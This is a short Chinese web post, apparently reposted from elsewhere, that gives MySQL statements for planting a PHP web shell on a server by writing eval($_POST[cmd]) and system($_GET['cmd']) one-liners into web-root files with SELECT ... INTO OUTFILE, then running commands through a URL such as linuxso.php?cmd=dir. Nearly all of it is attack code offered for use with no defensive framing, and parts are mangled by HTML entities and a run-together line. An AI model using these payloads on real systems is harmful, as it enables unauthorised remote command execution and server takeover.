作者：手机用户2502854041 | 来源：互联网 | 2017-11-12 12:27
CreateTABLElinuxso(cmdtextNOTNULL);InsertINTOlinuxso(cmd)VALUES(?phpeval($_POST[cmd])?);selectcmdfromstudyintooutfileE:wampwww7.php;DropTABLEIFEXISTSstudy;CreateTABLE`wangzi`(`wangzi`TEXTNOTNULL)TYPEM
Create TABLE linuxso (cmd text NOT NULL);
Insert INTO linuxso (cmd) VALUES(&＃39;php eval($_POST[cmd])?>&＃39;);
select cmd from study into outfile &＃39;E:/wamp/www/7.php&＃39;;
Drop TABLE IF EXISTS study;
Create TABLE `wangzi` (`wangzi` TEXT NOT NULL) TYPE = MYISAM; Insert INTO `wangzi` ( `wangzi` ) VALUES (&＃39;&＃39;);
Select `wangzi` FROM `wangzi` INTO OUTFILE &＃39;C:/xampp/htdocs/xampp/cmd.php&＃39;; Drop TABLE `wangzi`;
--------------------------------------------------------------------------
而后在国外bbs' target='_blank'>论坛上看到一老外的方法更简单：
1：select load_file(&＃39;E:/xamp/www/linuxso.php&＃39;);
2：select &＃39;\&＃39;;system($_GET[\&＃39;cmd\&＃39;]); echo \&＃39;\&＃39;; ?>&＃39; INTO OUTFILE &＃39;E:/xamp/www/linuxso.php&＃39;
然后访问网站目录：http://localhost/linuxso.php?cmd=dir
3：写一句话： select &＃39;&＃39;INTO OUTFILE &＃39;E:/xamp/www/linuxso.php&＃39;
第三个是直接在SQL查询里导出一句话，必须要先知道网站的路径
京公网安备 11010802041100号